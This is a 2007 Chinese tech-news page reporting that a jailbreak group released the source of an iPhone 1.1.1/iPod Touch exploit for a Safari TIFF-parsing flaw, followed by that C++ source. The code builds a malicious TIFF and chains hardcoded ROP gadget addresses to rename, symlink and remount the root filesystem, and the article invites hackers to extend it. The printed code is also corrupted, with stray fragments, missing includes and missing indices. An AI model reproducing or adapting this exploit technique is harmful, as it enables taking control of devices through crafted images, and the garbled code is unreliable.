CTOCIO IT专家网

天极传媒 比特网 | 天极网 | IT专家网 | IT商网 | 52PK游戏网 | 手机天极 | IT分众 |
IT专家网搜索

网络安全,安全,网络安全设备,信息安全产品,网络安全新闻,信息安全市场分析,黑客攻防,防黑反黑技巧,黑客,网络安全技术,网络安全方案,病毒播报,最新病毒库,攻防技巧,入侵渗透,新闻,思科,Juniper,天融信,瑞星,金山,江民,卡巴斯基,赛门铁克, 趋势,绿盟科技,联想网御,MCAFEE,安氏,冰峰网络,网络入侵,木马,病毒,病毒分析,木马分析,样本分析,木马样本分析,病毒样本分析,杀毒软件

您现在的位置: IT专家网 > 安全子站 > 新闻

破解组织公布iPhone破解程序源代码

作者: 寂静的海,  出处:IT专家网, 责任编辑: 张帅, 
2007-10-25 17:46
  破解组织近日公布了iPhone 1.1.1/iPod ToUCh文件系统破解的整个源代码,该破解利用了iPhone/iPod Touch中Safari浏览器在处理TIFF图片时的一处漏洞,从而获取系统的控制权……
      破解组织近日公布了iPhone 1.1.1/iPod ToUCh文件系统破解的整个源代码。该破解利用了iPhone/iPod Touch中Safari浏览器在处理TIFF图片时的一处漏洞,从而获取系统的控制权,对应1.0.2和1.1.1版本iPhone以及iPod Touch。之前,破解组织曾经公布一个攻击代码网址,用户只需要访问这个网址就可以自动运行攻击代码,开始破解。而源代码公布后,无疑可以更加放心的进行破解。 有兴趣的黑客可以在此基础上进行研究和继续开发.

      /* 

  Exploit for iTouch/iPhone by Toc2rta ( Dre + Niacin ) 

  Credit for the discovery goes to Tavis 

  */ 

  #include 

  #include 

  #include  

  #include 

  using namespace std; 

  void 

  print_pad(int n, char p = '\0') 

  { 

  for (int i = 0; i < n; i++) 

  printf("%c", p); 

  } 

  void 

  print_arr(char *arr, int size) 

  { 

  for (int i = 0; i < size; i++) 

  printf("%c", arr); 

  } 

  struct Node 

  { 

  typedef enum { VAL, STACK, BYTES, PTR } NodeType; 

  NodeType type; 

  union H 

  { 

  int value; 

  char bytes[4]; 

  }; 

  Node() 

  : type(VAL), value(0) 

  { } 

  Node(const Node &_node) 

  : type(_node.type), value(_node.value) 

  { } 

  Node(int _value, NodeType _type = VAL) 

  : type(_type), value(_value) 

  { } 

  }; 

  struct 

  { 

  char *str; 

  Node node; 

  }; 

  struct Stack 

  { 

  Stack(Node &_base, Ptr *_strings) 

  : base(_base), strings(_strings) 

  { } 

  void Add(Node node) } 

  { 

  switch (node.type) 

  { 

  case Node::BYTES: 

  base.value += node.value; 

  break; 

  case Node::STACK: 

  node.value += base.value; 

  // fall through O) 

  default: 

  base.value += 4; 

  } 

  stack.push_back(node); 

  } 

  void Write() 

  { 

  for (int i = 0; strings.str; i++) 

  { 

  strings.node.value = base.value; 

  base.value += strlen(strings.str) + 1; 

  } 

  for (vector::iterator it = stack.begin(), end = stack.end(); it != end; ++it) 

  { 

  switch (it->type) 

  { 

  case Node::BYTES: 

  print_pad(it->value, 0x00); 

  break; 

  case Node::PTR: 

  print_arr(strings[it->value].node.bytes, 4); 

  break; 

  default: 

  print_arr(it->bytes, 4); 

  } k2th" 

  } 

  for (int i = 0; strings.str; i++) 

  { 

  print_arr(strings.str, strlen(strings.str) + 1); 

  } 

  } 

  vector stack; 

  Node base; 

  Ptr *strings; z) 

  }; 

  void 

  build_tif(Node &sp, Node &pc) 

  { 

  char tif[] = 

  { 

  0x49,0x49, // header 

  0x2a,0x00, // version 

  0x1e,0x00,0x00,0x00, // IFD location 

  0x00,0x00,0x00,0x00, // padding to IFD 

  0x00,0x00,0x00,0x00, 

  0x00,0x00,0x00,0x00, 

  0x00,0x00,0x00,0x00, 

  0x00,0x00,0x00,0x00,0x00,0x00, 

  0x08,0x00, // 8 tags in the image 

  0x00,0x01,0x03,0x00,0x01,0x00,0x00,0x00,0x08,0x00,0x00,0x00, // image width = 8, 

  0x01,0x01,0x03,0x00,0x01,0x00,0x00,0x00,0x08,0x00,0x00,0x00, // image length = 8, 

  0x03,0x01,0x03,0x00,0x01,0x00,0x00,0x00,0xaa,0x00,0x00,0x00, // samples per pixel = 1 

  0x06,0x01,0x03,0x00,0x01,0x00,0x00,0x00,0xbb,0x00,0x00,0x00, // photometric interpretation = black(1) 

  0x11,0x01,0x04,0x00,0x01,0x00,0x00,0x00,0x08,0x00,0x00,0x00, // strip offsets = 8 

  0x17,0x01,0x04,0x00,0x01,0x00,0x00,0x00,0x15,0x00,0x00,0x00, // strip byte counts = 15 

  0x1c,0x01,0x03,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00, // planar configuration = 1 

  0x50,0x01,0x03,0x00,0xff,0x00,0x00,0x00,0x84,0x00,0x00,0x00, // dot range, length = 0xff, offset from start of file 0x84 0e0x13bA 

  0x00,0x00,0x00,0x00, // padding to dot range data start 

  }; 

  print_arr(tif, sizeof(tif)); 

  print_pad(104, 0x00); // padding 

  print_arr(sp.bytes, 4); 

  print_pad(12, 0x00); // padding 2 

  print_arr(pc.bytes, 4); 

  } 

  int 

  main(int argc, char **argv) 

  { 

  if (argc != 2) 

  { 

  printf("Usage: %s <1.0.2/1.1.1>\n", argv[0]); 

  return 1; 

  } 

  int version = (!strcmp(argv[1], "1.0.2") ? 0 : 1); 

  Ptr str[] = { 

  { "/var/root/Media", 0 }, 

  { "/var/root/Oldmedia", 0 }, 

  { "/", 0 }, 

  { "hfs", 0 }, 

  { "/dev/disk0s1", 0 }, 

  { NULL, 0 } 

  }; 

  Node base(version == 0 ? 0x0055a638 : 0x006f7638); 

  Stack stack(base, str); 

  Node ldmia_r4_r0(version == 0 ? 0x310b668c : 0x3125368c); // ldmia r4!, {r0, r1, r2, r3, r5, r6, r12, sp, lr, pc} 

  Node ldmia_sp_r4(0x3000adfc); // ldmia sp!, {r4, r7, pc} 

  Node ldmia_sp_r0(0x300df800); // ldmia sp!, {r0, r1, r2, r3, 

  Node rename(0x30015530); 

  Node symlink(0x30027300); 

  Node mount(0x300267d0); 

  Node dead(0xdeadbeef); 

  build_tif(base, ldmia_r4_r0); // set stack base and initial jump 

  stack.Add(Node(0, Node::PTR)); // r0 = "/var/root/Media" 

  stack.Add(Node(1, Node::PTR)); // r1 = "/var/root/Oldmedia" 

  stack.Add(Node(20, Node::BYTES)); // r2,r3,r5,r6,r12 

  stack.Add(Node(12, Node::STACK)); // sp -> offset 12 

  stack.Add(ldmia_sp_r4); // lr = load r4,r7,pc from 

  stack.Add(rename); // pc = rename(r0, r1) 

  stack.Add(Node(12, Node::STACK)); // r4 = sp -> offset 12 

  stack.Add(Node(4, Node::BYTES)); // r7 = unused  

  stack.Add(ldmia_r4_r0); // pc = load r0...lr from r4 

  stack.Add(Node(2, Node::PTR)); // r0 = "/" 

  stack.Add(Node(0, Node::PTR)); // r1 = "/var/root/Media" 

  stack.Add(Node(20, Node::BYTES)); // r2,r3,r5,r6,r12 

  stack.Add(Node(12, Node::STACK)); // sp -> offset 12 

  stack.Add(ldmia_sp_r0); // lr = load from r0..pc from sp 

  stack.Add(symlink); // pc = symlink(r0, r1)  

  stack.Add(Node(3, Node::PTR)); // r0 = "hfs" 

  stack.Add(Node(2, Node::PTR)); // r1 = "/" 

  stack.Add(Node(0x00050000, Node::VAL)); // r2 = MNT_RELOAD   MNT_UPDATE 

  stack.Add(Node(8, Node::STACK)); // r3 = **data 

  stack.Add(mount); // pc = mount(r0, r1, r2, r3) 

  stack.Add(Node(4, Node::PTR)); // data = "/dev/disk0s1" 

  stack.Write(); 

  return 0; 

  }

网友评论

笔名 
请您注意:遵守国家有关法律、法规,尊重网上道德,承担一切因您的行为而直接或间接引起的法律责任。    IT专家网友拥有管理笔名和留言的一切权利。
  • 周排行榜
  • 月排行榜

邮件订阅


天极服务 | 关于我们 | 网站律师 | 加入我们 | 联系我们 | 广告业务 | 友情链接 | 我要挑错
All Rights Reserved, Copyright 2004-2008, Ctocio.com.cn
渝ICP证B2-20030003号 如有意见请与我们联系 powered by 天极内容管理平台CMS4i